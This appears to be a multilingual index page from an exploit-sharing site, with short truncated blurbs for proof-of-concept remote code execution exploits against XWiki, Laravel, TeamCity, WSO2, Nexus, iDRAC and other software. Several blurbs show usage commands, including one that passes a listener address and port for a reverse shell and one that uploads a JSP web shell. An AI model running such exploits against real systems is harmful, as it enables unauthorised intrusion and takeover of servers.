CVE-2025-24893-PoC

Haftungsausschluss: Die in diesem Artikel beschriebene Sicherheitslücke und die zugehörigen Wiederholungsschritte dienen ausschließlich zu Zwecken der Cybersicherheitsforschung und -bildung. Niemand darf die in diesem Artikel bereitgestellten Informationen für illegale Zwecke oder unbefugte...

freeswitch_rce

versão: !1https://assets.kitploit.com/production/public/r...

CVE-2024-3408-dtale

CVE-2024-3408 - Bypass dell'autenticazione e RCE in D-Tale Ambiente di laboratorio riproducibile per CVE-2024-3408, una vulnerabilità di bypass dell'autenticazione ed esecuzione remota di codice in D-Tale. Vulnerabilità Le versioni di D-Tale fino alla 3.15.1 sono vulnerabili a causa di: 1...

CVE-2020-23583

CVE-2020-23583 OPTILINK E-PON "MODELLO N.: OP-XT71000N" CON "VERSIONE HARDWARE: V2.2"; E "VERSIONE FIRMWARE: OPV3.3.1-191028" ESECUZIONE REMOTA DI CODICE trovata in "OPTILINK OP-XT71000N". Il problema si verifica quando l'attaccante invia un codice arbitrario su "/diagpingadmin.asp" all'interfacc...

CVE-2022-29464

WSO2 Beliebiger Dateiupload zu Remote-Befehlsausführung RCE https://docs.wso2.com/display/Security/Security+Advisory+WSO2-2021-1738 Beispiel root@kitploit: python3 exploit.py https://target.org:9443 shell.jsp...

CVE-2022-24637

CVE-2022-24637 Open Web Analytics OWA - Nicht authentifizierte Remotecodeausführung https://vulners.com/cve/CVE-2022-24637 Beispiel root@kitploit: python3 exploit.py -u admin -p hacker http://target.org 10.10.11.12 4444...

CVE-2021-3129

CVE-2021-3129 Laravel Debug-Modus - Remote-Code-Ausführung RCE https://vulners.com/cve/CVE-2021-3129 https://www.ambionics.io/blog/laravel-debug-rce https://github.com/ambionics/phpggc Beispiel root@kitploit: python3 exploit.py http://127.0.0.1:8080 root@kitploit: python3 exploit.py...

CVE-2024-3105-PoC

CVE-2024-3105 PoC Das Woody Code Snippets – Insert Header Footer Code, AdSense Ads Plugin für WordPress ist in allen Versionen bis einschließlich 2.5.0 anfällig für Remote Code Execution über den Shortcode 'insertphp'. Dies liegt daran, dass das Plugin die Nutzung der Funktionalität nicht auf...

CVE-2020-10199-Nexus-3.21.01

CVE-2020-10199-Nexus-3.21.01 Sonatype Nexus 3.21.01 - Execução Remota de Código Autenticado - Atualizado Esta versão é baseada no exploit 49385 de Alvaro Muñoz e no exploit do metasploit para nexus https://www.exploit-db.com/exploits/49385 Altere o user, password, URL e CMD...

pyrocms-ssti-fix

🛡️ إصلاح ثغرة SSTI في PyroCMS إصلاح أمني فوري لـ CVE-2023-29689 - حقن القوالب من جانب الخادم SSTI يؤدي إلى تنفيذ الأوامر عن بعد RCE في PyroCMS 3.9. المشكلة يسمح PyroCMS للمستخدمين الإداريين بتحرير القوالب المخزنة في قاعدة البيانات. بدون آلية عزل Sandboxing، يمكن للمهاجمين الذين لديهم صلاحيات...

CVE-2023-42793

CVE-2023-42793 JetBrains TeamCity prima della versione 2023.05.4 è vulnerabile a un bypass dell'autenticazione che porta a RCE Utilizzo Per ottenere una reverse shell root@kitploit: python3 exploit.py Riferimenti https://blog.jetbrains.com/teamcity/2023/09/cve-2023-42793-vulnerability-post-mortem...

CVE-2018-1207-better

Exploit PoC für CVE-2018-1207: Dell iDRAC7/iDRAC8 RCE Reverse Shell Dieses Repository enthält ein Proof-of-Concept-Python-Skript, um einen Exploit für Remotecodeausführung in iDRAC7- und iDRAC8-Geräten mit Firmware-Versionen 2.52.52.52 und darunter zu demonstrieren. Dieser Exploit ermöglicht es...

react2shell-scanner

React2Shell Scanner – mit PoC CVE-2025-55182 – React Server Components RCE PoC Bildungs-Exploit-Client für das Hidden Investigations React2Shell-Labor. Dieses Repository enthält ein Single-Host Proof-of-Concept PoC Exploit-Tool für die React2Shell -Sicherheitslücke CVE-2025-55182, die sich gegen...

CVE-2025-1974-poc

POC von IngressNightmare, RCE in Ingress NGINX CVE-2025-1974 Entwickelt aus: https://github.com/zwxxb/CVE-2025-1974/blob/main/poc.py https://www.wiz.io/blog/ingress-nginx-kubernetes-vulnerabilitieshow-did-we-discover-ingressnightmare-24 Danke Anleitung root@kitploit: forward the admission webhook...

CVE-2019-16113-PoC

CVE-2019-16113 PoC Bludit = 3.9.2 Schwachstelle zur Remote-Codeausführung über die "Upload-Funktion". Einfaches Python PoC. Entdeckt von @christasa: https://github.com/bludit/bludit/issues/1081 Verwendung Bearbeiten Sie das Skript mit Ihrer URL, Ihrem Benutzernamen, Ihrem Passwort und dem...

CVE-2020-8813

CVE-2020-8813 Cacti v1.2.8 Esecuzione di codice remoto non autenticata Usa Python 3 Esecuzione senza Docker: root@kitploit: git clone https://github.com/hexcowboy/CVE-2020-8813.git && cd CVE-2020-8813 python3 -m venv env && source env/bin/activate pip install -r requirements.txt python exploit.py...

CVE-2021-31630-OpenPLC_RCE

CVE-2021-31630-OpenPLCRCE Exploit para Execução Remota de Código Autenticada no Servidor Web OpenPLC v3...

CVE-2019-17124

Titolo exploit: KRAMER VIAware 2.5.0719.1034 - Esecuzione di codice in remoto Data: 2019-10-02 Autore: Andrew Hess Link del software: https://www.kramerav.com/us/product/viaware Versione: 2.5.0719.1034 CVE: CVE-2019-17124 Cronologia 2019.10.02 - Vulnerabilità scoperta 2019.10.02 - Primo contatto...

CVE-2018-6574-go-get-RCE

CVE-2018-6574-go-get-RCE Das Problem liegt darin, dass Golang beim Installieren eines Pakets native Erweiterungen erstellt. Dies kann genutzt werden, um zusätzliche Flags an den Compiler zu übergeben und Codeausführung zu erlangen. Beispielsweise kann CFLAGS verwendet werden. Du kannst es mit...

CVE-2025-24893

CVE-2025-24893 Exploit di Esecuzione Remota di Codice RCE su XWiki Uno script in Python3 per la CVE-2025-24893 , una vulnerabilità critica di Esecuzione Remota di Codice Non Autenticata RCE che affligge la piattaforma XWiki. Questo script sfrutta una falla di Iniezione di Codice/Espressione CWE-9...